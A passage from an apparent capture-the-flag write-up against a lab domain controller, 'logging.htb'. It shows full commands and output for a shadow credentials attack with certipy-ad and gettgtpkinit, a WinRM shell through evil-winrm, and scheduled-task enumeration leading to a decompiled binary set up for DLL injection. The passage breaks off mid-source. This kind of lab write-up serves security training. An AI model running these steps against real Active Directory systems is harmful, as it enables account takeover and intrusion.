<p>Now that we have <code class="language-plaintext highlighter-rouge">svc_recovery</code> I’ll grab <code class="language-plaintext highlighter-rouge">msa_health$</code>’s TGT through a <code class="language-plaintext highlighter-rouge">shadow credentials</code> attack</p>
<div filename="Shadow Credentials" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>certipy-ad shadow add <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="nt">-target</span> DC01.logging.htb <span class="nt">-account</span> <span class="s1">'msa_health$'</span> 
Certipy v5.0.4 - by Oliver Lyak <span class="o">(</span>ly4k<span class="o">)</span>

<span class="o">[!]</span> DC host <span class="o">(</span><span class="nt">-dc-host</span><span class="o">)</span> not specified and Kerberos authentication is used. This might fail
<span class="o">[!]</span> DNS resolution failed: The DNS query name does not exist: DC01.logging.htb.
<span class="o">[!]</span> Use <span class="nt">-debug</span> to print a stacktrace
<span class="o">[!]</span> DNS resolution failed: The DNS query name does not exist: LOGGING.HTB.
<span class="o">[!]</span> Use <span class="nt">-debug</span> to print a stacktrace
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Targeting user <span class="s1">'msa_health$'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Generating certificate
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Certificate generated
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Generating Key Credential
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Key Credential generated with DeviceID <span class="s1">'b2a0a7d82a184a60ad45314647dc2fa3'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Adding Key Credential with device ID <span class="s1">'b2a0a7d82a184a60ad45314647dc2fa3'</span> to the Key Credentials <span class="k">for</span> <span class="s1">'msa_health$'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Successfully added Key Credential with device ID <span class="s1">'b2a0a7d82a184a60ad45314647dc2fa3'</span> to the Key Credentials <span class="k">for</span> <span class="s1">'msa_health$'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving certificate and private key to <span class="s1">'msa_health.pfx'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saved certificate and private key to <span class="s1">'msa_health.pfx'</span>

<span class="nv">$ </span>gettgtpkinit.py <span class="nt">-cert-pfx</span> msa_health.pfx <span class="s1">'logging.htb/msa_health'</span> msa_health.ccache
2026-04-19 08:25:29,037 minikerberos INFO     Loading certificate and key from file
2026-04-19 08:25:29,197 minikerberos INFO     Requesting TGT
2026-04-19 08:25:29,798 minikerberos INFO     AS-REP encryption key <span class="o">(</span>you might need this later<span class="o">)</span>:
2026-04-19 08:25:29,798 minikerberos INFO     a9948404a43cf046703d230c84e858ec9e92568b2c6db575846de3b35d14b793
2026-04-19 08:25:29,804 minikerberos INFO     Saved TGT to file

<span class="nv">$ </span><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>msa_health.ccache
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Since we know that <code class="language-plaintext highlighter-rouge">msa_health</code> is a member of <code class="language-plaintext highlighter-rouge">Remote Management Users</code> we’re able to remote onto the machine.</p>
<div filename="WinRM as MSA_HEALTH" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>evil-winrm <span class="nt">-i</span> dc01.logging.htb <span class="nt">-r</span> logging.htb
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method <span class="sb">`</span>quoting_detection_proc<span class="sb">`</span> <span class="k">for </span>module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
<span class="k">*</span>Evil-WinRM<span class="k">*</span> PS C:<span class="se">\U</span>sers<span class="se">\m</span>sa_health<span class="nv">$\</span>Documents&gt; 
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="injecting-dlls-into-jayleeclifton">Injecting DLLs into Jaylee.Clifton</h2>
<p>Looking at our <code class="language-plaintext highlighter-rouge">Documents</code> folder we find a script called <code class="language-plaintext highlighter-rouge">monitor.ps1</code></p>
<div filename="monitor.ps" class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="rouge-code"><pre><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\msa_health</span><span class="err">$</span><span class="nx">\Documents</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="nx">monitor.ps1</span><span class="w">
</span><span class="cm">&lt;#
</span><span class="cs">.SYNOPSIS</span><span class="cm">
    Monitors the status of the "UpdateChecker Agent" scheduled task.
    Uses COM interface to avoid CIM/WMI permission issues.
#&gt;</span><span class="w">

</span><span class="nv">$TaskName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"UpdateChecker Agent"</span><span class="w">
</span><span class="nv">$LogPath</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"C:\Share\Logs\TaskMonitor.log"</span><span class="w">
</span><span class="nv">$Timestamp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Date</span><span class="w"> </span><span class="nt">-Format</span><span class="w"> </span><span class="s2">"yyyy-MM-dd HH:mm:ss"</span><span class="w">

</span><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$service</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nt">-ComObject</span><span class="w"> </span><span class="s2">"Schedule.Service"</span><span class="w">
    </span><span class="nv">$service</span><span class="o">.</span><span class="nf">Connect</span><span class="p">()</span><span class="w">
    </span><span class="nv">$task</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$service</span><span class="o">.</span><span class="nf">GetFolder</span><span class="p">(</span><span class="s2">"\"</span><span class="p">)</span><span class="o">.</span><span class="nf">GetTask</span><span class="p">(</span><span class="nv">$TaskName</span><span class="p">)</span><span class="w">

    </span><span class="nv">$State</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kr">switch</span><span class="w"> </span><span class="p">(</span><span class="nv">$task</span><span class="o">.</span><span class="nf">State</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="mi">1</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s2">"Disabled"</span><span class="w"> </span><span class="p">}</span><span class="w">
        </span><span class="mi">2</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s2">"Queued"</span><span class="w"> </span><span class="p">}</span><span class="w">
        </span><span class="mi">3</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s2">"Ready"</span><span class="w"> </span><span class="p">}</span><span class="w">
        </span><span class="mi">4</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s2">"Running"</span><span class="w"> </span><span class="p">}</span><span class="w">
        </span><span class="mi">5</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s2">"Disabled"</span><span class="w"> </span><span class="p">}</span><span class="w">
        </span><span class="mi">6</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s2">"Unknown"</span><span class="w"> </span><span class="p">}</span><span class="w">
        </span><span class="n">default</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s2">"Unknown"</span><span class="w"> </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">

    </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$State</span><span class="w"> </span><span class="o">-ne</span><span class="w"> </span><span class="s2">"Ready"</span><span class="w"> </span><span class="o">-and</span><span class="w"> </span><span class="nv">$State</span><span class="w"> </span><span class="o">-ne</span><span class="w"> </span><span class="s2">"Running"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nv">$Message</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"[</span><span class="nv">$Timestamp</span><span class="s2">] WARN  - Task [</span><span class="nv">$TaskName</span><span class="s2">] is in an unexpected state: </span><span class="nv">$State</span><span class="s2">"</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="kr">else</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nv">$Message</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"[</span><span class="nv">$Timestamp</span><span class="s2">] INFO  - Task [</span><span class="nv">$TaskName</span><span class="s2">] health check: OK (State: </span><span class="nv">$State</span><span class="s2">)"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="kr">catch</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$Message</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"[</span><span class="nv">$Timestamp</span><span class="s2">] ERROR - Failed to query task [</span><span class="nv">$TaskName</span><span class="s2">]. Exception: </span><span class="si">$(</span><span class="bp">$_</span><span class="o">.</span><span class="nf">Exception</span><span class="o">.</span><span class="nf">Message</span><span class="si">)</span><span class="s2">"</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="n">Add-Content</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$LogPath</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="nv">$Message</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Since I keep running into <code class="language-plaintext highlighter-rouge">CMI</code> permission errors when looking for <code class="language-plaintext highlighter-rouge">Scheduled Tasks</code> I’ll be using the recommended <code class="language-plaintext highlighter-rouge">COM</code> method instead. Let’s just copy paste a couple of the commands from the script so we can view the exact task</p>
<div filename="COM scheduled tasks" class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
</pre></td><td class="rouge-code"><pre><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\msa_health</span><span class="err">$</span><span class="nx">\Documents</span><span class="err">&gt;</span><span class="w"> </span><span class="nv">$TaskName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"UpdateChecker Agent"</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\msa_health</span><span class="err">$</span><span class="nx">\Documents</span><span class="err">&gt;</span><span class="w"> </span><span class="nv">$service</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nt">-ComObject</span><span class="w"> </span><span class="s2">"Schedule.Service"</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\msa_health</span><span class="err">$</span><span class="nx">\Documents</span><span class="err">&gt;</span><span class="w"> </span><span class="nv">$service</span><span class="o">.</span><span class="nf">Connect</span><span class="p">()</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\msa_health</span><span class="err">$</span><span class="nx">\Documents</span><span class="err">&gt;</span><span class="w"> </span><span class="nv">$task</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$service</span><span class="o">.</span><span class="nf">GetFolder</span><span class="p">(</span><span class="s2">"\"</span><span class="p">)</span><span class="o">.</span><span class="nf">GetTask</span><span class="p">(</span><span class="nv">$TaskName</span><span class="p">)</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\msa_health</span><span class="err">$</span><span class="nx">\Documents</span><span class="err">&gt;</span><span class="w"> </span><span class="nv">$task</span><span class="w">


</span><span class="n">Name</span><span class="w">               </span><span class="p">:</span><span class="w"> </span><span class="nx">UpdateChecker</span><span class="w"> </span><span class="nx">Agent</span><span class="w">
</span><span class="n">Path</span><span class="w">               </span><span class="p">:</span><span class="w"> </span><span class="nx">\UpdateChecker</span><span class="w"> </span><span class="nx">Agent</span><span class="w">
</span><span class="n">State</span><span class="w">              </span><span class="p">:</span><span class="w"> </span><span class="nx">3</span><span class="w">
</span><span class="n">Enabled</span><span class="w">            </span><span class="p">:</span><span class="w"> </span><span class="nx">True</span><span class="w">
</span><span class="n">LastRunTime</span><span class="w">        </span><span class="p">:</span><span class="w"> </span><span class="nx">4/20/2026</span><span class="w"> </span><span class="nx">6:02:15</span><span class="w"> </span><span class="nx">AM</span><span class="w">
</span><span class="n">LastTaskResult</span><span class="w">     </span><span class="p">:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span><span class="n">NumberOfMissedRuns</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span><span class="n">NextRunTime</span><span class="w">        </span><span class="p">:</span><span class="w"> </span><span class="nx">4/20/2026</span><span class="w"> </span><span class="nx">6:05:15</span><span class="w"> </span><span class="nx">AM</span><span class="w">
</span><span class="n">Definition</span><span class="w">         </span><span class="p">:</span><span class="w"> </span><span class="nx">System.__ComObject</span><span class="w">
</span><span class="n">Xml</span><span class="w">                </span><span class="p">:</span><span class="w"> </span><span class="err">&lt;</span><span class="nf">?</span><span class="nx">xml</span><span class="w"> </span><span class="nx">version</span><span class="o">=</span><span class="s2">"1.0"</span><span class="w"> </span><span class="nx">encoding</span><span class="o">=</span><span class="s2">"UTF-16"</span><span class="nf">?</span><span class="err">&gt;</span><span class="w">
                     </span><span class="err">&lt;</span><span class="n">Task</span><span class="w"> </span><span class="nx">version</span><span class="o">=</span><span class="s2">"1.2"</span><span class="w"> </span><span class="n">xmlns</span><span class="o">=</span><span class="s2">"http://schemas.microsoft.com/windows/2004/02/mit/task"</span><span class="err">&gt;</span><span class="w">
                       </span><span class="err">&lt;</span><span class="n">RegistrationInfo</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">Date</span><span class="err">&gt;</span><span class="nx">2026-04-16T16:39:34.3280175</span><span class="err">&lt;</span><span class="nx">/Date</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">Author</span><span class="err">&gt;</span><span class="nx">logging\Administrator</span><span class="err">&lt;</span><span class="nx">/Author</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">URI</span><span class="err">&gt;</span><span class="nx">\UpdateChecker</span><span class="w"> </span><span class="nx">Agent</span><span class="err">&lt;</span><span class="nx">/URI</span><span class="err">&gt;</span><span class="w">
                       </span><span class="err">&lt;</span><span class="n">/RegistrationInfo</span><span class="err">&gt;</span><span class="w">
                       </span><span class="err">&lt;</span><span class="n">Principals</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">Principal</span><span class="w"> </span><span class="nx">id</span><span class="o">=</span><span class="s2">"Author"</span><span class="err">&gt;</span><span class="w">
                           </span><span class="err">&lt;</span><span class="n">UserId</span><span class="err">&gt;</span><span class="nx">S-1-5-21-4020823815-2796529489-1682170552-2105</span><span class="err">&lt;</span><span class="nx">/UserId</span><span class="err">&gt;</span><span class="w">
                           </span><span class="err">&lt;</span><span class="n">LogonType</span><span class="err">&gt;</span><span class="nx">Password</span><span class="err">&lt;</span><span class="nx">/LogonType</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">/Principal</span><span class="err">&gt;</span><span class="w">
                       </span><span class="err">&lt;</span><span class="n">/Principals</span><span class="err">&gt;</span><span class="w">
                       </span><span class="err">&lt;</span><span class="n">Settings</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">DisallowStartIfOnBatteries</span><span class="err">&gt;</span><span class="nx">true</span><span class="err">&lt;</span><span class="nx">/DisallowStartIfOnBatteries</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">StopIfGoingOnBatteries</span><span class="err">&gt;</span><span class="nx">true</span><span class="err">&lt;</span><span class="nx">/StopIfGoingOnBatteries</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">MultipleInstancesPolicy</span><span class="err">&gt;</span><span class="nx">Parallel</span><span class="err">&lt;</span><span class="nx">/MultipleInstancesPolicy</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">IdleSettings</span><span class="err">&gt;</span><span class="w">
                           </span><span class="err">&lt;</span><span class="n">StopOnIdleEnd</span><span class="err">&gt;</span><span class="nx">true</span><span class="err">&lt;</span><span class="nx">/StopOnIdleEnd</span><span class="err">&gt;</span><span class="w">
                           </span><span class="err">&lt;</span><span class="n">RestartOnIdle</span><span class="err">&gt;</span><span class="nx">false</span><span class="err">&lt;</span><span class="nx">/RestartOnIdle</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">/IdleSettings</span><span class="err">&gt;</span><span class="w">
                       </span><span class="err">&lt;</span><span class="n">/Settings</span><span class="err">&gt;</span><span class="w">
                       </span><span class="err">&lt;</span><span class="n">Triggers</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">TimeTrigger</span><span class="err">&gt;</span><span class="w">
                           </span><span class="err">&lt;</span><span class="n">StartBoundary</span><span class="err">&gt;</span><span class="nx">2026-04-16T16:38:15</span><span class="err">&lt;</span><span class="nx">/StartBoundary</span><span class="err">&gt;</span><span class="w">
                           </span><span class="err">&lt;</span><span class="n">Repetition</span><span class="err">&gt;</span><span class="w">
                             </span><span class="err">&lt;</span><span class="n">Interval</span><span class="err">&gt;</span><span class="nx">PT3M</span><span class="err">&lt;</span><span class="nx">/Interval</span><span class="err">&gt;</span><span class="w">
                           </span><span class="err">&lt;</span><span class="n">/Repetition</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">/TimeTrigger</span><span class="err">&gt;</span><span class="w">
                       </span><span class="err">&lt;</span><span class="n">/Triggers</span><span class="err">&gt;</span><span class="w">
                       </span><span class="err">&lt;</span><span class="n">Actions</span><span class="w"> </span><span class="nx">Context</span><span class="o">=</span><span class="s2">"Author"</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">Exec</span><span class="err">&gt;</span><span class="w">
                           </span><span class="err">&lt;</span><span class="kr">Command</span><span class="err">&gt;</span><span class="s2">"C:\Program Files\UpdateMonitor\UpdateMonitor.exe"</span><span class="err">&lt;</span><span class="n">/Command</span><span class="err">&gt;</span><span class="w">
                           </span><span class="err">&lt;</span><span class="n">Arguments</span><span class="err">&gt;</span><span class="nx">500</span><span class="w"> </span><span class="nx">/scan</span><span class="o">=</span><span class="mi">3</span><span class="w"> </span><span class="n">/autofix</span><span class="o">=</span><span class="n">true</span><span class="err">&lt;</span><span class="nx">/Arguments</span><span class="err">&gt;</span><span class="w">
                         </span><span class="err">&lt;</span><span class="n">/Exec</span><span class="err">&gt;</span><span class="w">
                       </span><span class="err">&lt;</span><span class="n">/Actions</span><span class="err">&gt;</span><span class="w">
                     </span><span class="err">&lt;</span><span class="n">/Task</span><span class="err">&gt;</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We find a task called <code class="language-plaintext highlighter-rouge">UpdateMonitor</code> which is run every <code class="language-plaintext highlighter-rouge">3</code> minutes. Let’s take a look at the directory of the executable and see what we can find.</p>
<div filename="UpdateMonitor" class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">ls</span><span class="w"> </span><span class="s1">'C:\Program Files\UpdateMonitor'</span><span class="w">


    </span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files\UpdateMonitor</span><span class="w">


</span><span class="n">Mode</span><span class="w">                </span><span class="nx">LastWriteTime</span><span class="w">         </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">
</span><span class="o">----</span><span class="w">                </span><span class="o">-------------</span><span class="w">         </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">4/16/2026</span><span class="w">   </span><span class="nx">4:10</span><span class="w"> </span><span class="nx">PM</span><span class="w">                </span><span class="nx">bin</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">4/16/2026</span><span class="w">   </span><span class="nx">4:10</span><span class="w"> </span><span class="nx">PM</span><span class="w">                </span><span class="nx">packages</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w">        </span><span class="mi">2</span><span class="n">/21/2026</span><span class="w">   </span><span class="nx">3:52</span><span class="w"> </span><span class="nx">PM</span><span class="w">            </span><span class="nx">189</span><span class="w"> </span><span class="nx">App.config</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w">        </span><span class="mi">2</span><span class="n">/21/2026</span><span class="w">   </span><span class="nx">3:52</span><span class="w"> </span><span class="nx">PM</span><span class="w">            </span><span class="nx">157</span><span class="w"> </span><span class="nx">packages.config</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w">         </span><span class="mi">4</span><span class="n">/9/2026</span><span class="w">  </span><span class="nx">10:31</span><span class="w"> </span><span class="nx">PM</span><span class="w">           </span><span class="nx">8192</span><span class="w"> </span><span class="nx">UpdateMonitor.exe</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll transfer the executable over and disassemble it using <code class="language-plaintext highlighter-rouge">ilspycmd</code></p>
<div filename="ilspycmd" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>ilspycmd UpdateMonitor.exe <span class="o">&gt;</span> UpdateMonitor.cs
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s have a look at the code.</p>
<div filename="UpdateMonitor source" class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
</pre></td><td class="rouge-code"><pre><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Diagnostics</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.IO.Compression</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Linq</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Reflection</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.CompilerServices</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.Versioning</span><span class="p">;</span>

<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">CompilationRelaxations</span><span class="p">(</span><span class="m">8</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">RuntimeCompatibility</span><span class="p">(</span><span class="n">WrapNonExceptionThrows</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">Debuggable</span><span class="p">(</span><span class="n">DebuggableAttribute</span><span class="p">.</span><span class="n">DebuggingModes</span><span class="p">.</span><span class="n">IgnoreSymbolStoreSequencePoints</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">AssemblyTitle</span><span class="p">(</span><span class="s">"UpdateMonitor"</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">AssemblyDescription</span><span class="p">(</span><span class="s">""</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">AssemblyConfiguration</span><span class="p">(</span><span class="s">""</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">AssemblyCompany</span><span class="p">(</span><span class="s">""</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">AssemblyProduct</span><span class="p">(</span><span class="s">"UpdateMonitor"</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">AssemblyCopyright</span><span class="p">(</span><span class="s">"Copyright ©  2026"</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">AssemblyTrademark</span><span class="p">(</span><span class="s">""</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">ComVisible</span><span class="p">(</span><span class="k">false</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">Guid</span><span class="p">(</span><span class="s">"e08d70ab-2045-41b2-9012-8323eebb8c47"</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">AssemblyFileVersion</span><span class="p">(</span><span class="s">"1.0.0.0"</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">TargetFramework</span><span class="p">(</span><span class="s">".NETFramework,Version=v4.7.2"</span><span class="p">,</span> <span class="n">FrameworkDisplayName</span> <span class="p">=</span> <span class="s">".NET Framework 4.7.2"</span><span class="p">)]</span>
<span class="p">[</span><span class="n">assembly</span><span class="p">:</span> <span class="nf">AssemblyVersion</span><span class="p">(</span><span class="s">"1.0.0.0"</span><span class="p">)]</span>
<span class="k">namespace</span> <span class="nn">UpdateMonitor</span><span class="p">;</span>

<span class="k">internal</span> <span class="k">class</span> <span class="nc">Program</span>
<span class="p">{</span>
        <span class="k">private</span> <span class="k">delegate</span> <span class="k">void</span> <span class="nf">PreUpdateCheck</span><span class="p">();</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">CharSet</span> <span class="p">=</span> <span class="n">CharSet</span><span class="p">.</span><span class="n">Ansi</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">LoadLibrary</span><span class="p">([</span><span class="nf">MarshalAs</span><span class="p">(</span><span class="n">UnmanagedType</span><span class="p">.</span><span class="n">LPStr</span><span class="p">)]</span> <span class="kt">string</span> <span class="n">lpFileName</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">CharSet</span> <span class="p">=</span> <span class="n">CharSet</span><span class="p">.</span><span class="n">Ansi</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">GetProcAddress</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hModule</span><span class="p">,</span> <span class="kt">string</span> <span class="n">procedureName</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">,</span> <span class="n">SetLastError</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">bool</span> <span class="nf">FreeLibrary</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hModule</span><span class="p">);</span>

        <span class="k">private</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
                <span class="kt">string</span> <span class="n">path</span> <span class="p">=</span> <span class="s">"C:\\ProgramData\\UpdateMonitor\\Logs\\monitor.log"</span><span class="p">;</span>
